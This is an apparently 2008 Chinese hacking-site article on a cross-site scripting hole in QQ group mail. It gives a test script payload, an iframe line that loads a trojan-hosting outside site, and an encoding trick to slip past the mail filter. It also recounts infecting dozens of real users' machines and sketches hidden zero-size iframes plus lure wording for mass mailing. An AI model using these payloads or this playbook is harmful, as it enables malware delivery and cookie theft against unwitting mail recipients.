奥运倒计时: 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 跨站技术 >> 正文

[图文]QQ群邮箱跨站漏洞(图)

作者:Ink    文章来源:网络采集    点击数:    更新时间:2008-5-10

一、起因        

   自上次L.S.T官方群出事以后,我当时还以为点了什么连接中了别人插的自动提交的表单。水落石出后汗呀,中的传说中的MS06014网马,太热心了反而遭人暗算了!群里的兄弟都说要报仇,于是后来就把注意力转到了QQ邮箱上,然后便就有了此文。

二、漏洞描述        

   QQ邮件分为普通个人邮件和群邮件,群邮件对脚本的属性过滤不严,导致使用群邮件服务的浏览器很容易通过跨站脚本执行任何恶意代码,包括cookies盗取和邮件挂马等,是个高危漏洞。为了照顾广大菜鸟,这里简单地解释下什么是跨站:跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。

三、测试过程        

   一开始测试的是普通个人邮箱,邮件内容为“test<script>alert('test')</script>”我们可以发现"<"和">"都被替换了,如图1。

无论代码如何转换也不能躲过邮箱的过滤,测试img跨站也不存在漏洞,就没有深究了。次日,雕兄在群里利用群邮件发公告习惯性地在结尾署名“<雕牌留>”的时候,他看了下源代码后发现“<”和“>”都没有过滤掉,代码竟然原封不动地显示出来了,看来有戏!换上跨站的JS代码再测试下。因为邮件的主题已经对跨站的字符作了过滤,所在我们在内容里面写“test<script>alert('test')</script>”,如图2。

发送,嘿嘿,发现成功跨出来了,如图3。

跨站最有用的地方无疑是挂马之类的了,光这样弹出个框框是起不了什么大作用的,所以我们得继续修改代码,换上大家所熟知的最常见的挂马代码:
“<iframe src="http://www.slenk.net";width="120";height="120";frameborder="0">”,不过发现这一次并没有成功跨出来,直接显示代码了。我们看一看源代码,发现空格又被过滤掉了。在关键字过滤之后我们发现属性之间分隔要用到空格!好,既然把空格堵死了(这样认为的人很多,呵呵)!将空格转换了是个很普遍的方法。似乎这样能避免拆分关键字了。但事实并非如此,如果我们把挂马的代码加密一下效果又会如何呢!

四、手到擒来    

   这里我们要用到的一个加密解密的网页工具,如图4。

把我们要加密的代码填到上面的空白处,再按一下“JS加密”,然后在下面的框里就会显示出已加密过的代码,如图5。

我们现在要做的就是把这段加密后的代码用群邮箱发送出去了,格式如图6。

发送之后,我们打开收到的群邮件,发现已经成功跨出来了,页面正确显示出了,如图7。

大家可以想像一下,如果我们把那个代码换成挂马代码,再把宽和高都设为0,那就不会显示出页面了,再加上一些比较有诱惑性的言辞,然后在所有QQ群里发邮件……由于是可信性较强的QQ邮箱发出去的,毫无介心地打开的用户必然会相当多,到时候中招的人就会不少了。我和雕兄测试了一下,结果发现在短时间内就有几十台肉鸡上线了,如图8。

因为我们只是测试了一下,所以没有继续大量发送包含网马的邮件,只是为了说明一下此漏洞的危害性!此漏洞的测试过程已附带操作录像,有什么问题欢迎到http://www.slenk.net/论坛上讨论,或者X的论坛我也会常去看看的。

文章录入:Ink    责任编辑:Ink 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    固顶文章网络视频PPStream官方网站的跨站(图)
    推荐文章有史以来最短的跨站代码(精华)
    推荐文章对国内主流邮箱的跨站测试(图)
    推荐文章QQ群邮箱跨站漏洞(图)
    推荐文章“校内网”涂鸦板跨站脚本漏洞
    推荐文章SQL注入Access导出WebShell的方法
    推荐文章如何防止Flash跨站攻击弹出IE窗口
    推荐文章黑客教学:跨站式SQL注入
     热门文章
    固顶文章网络视频PPStream官方网站的跨站(图)
    推荐文章有史以来最短的跨站代码(精华)
    推荐文章对国内主流邮箱的跨站测试(图)
    推荐文章QQ群邮箱跨站漏洞(图)
    推荐文章“校内网”涂鸦板跨站脚本漏洞
    推荐文章SQL注入Access导出WebShell的方法
    推荐文章如何防止Flash跨站攻击弹出IE窗口
    推荐文章黑客教学:跨站式SQL注入
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
      许可证号:豫ICP备07005385号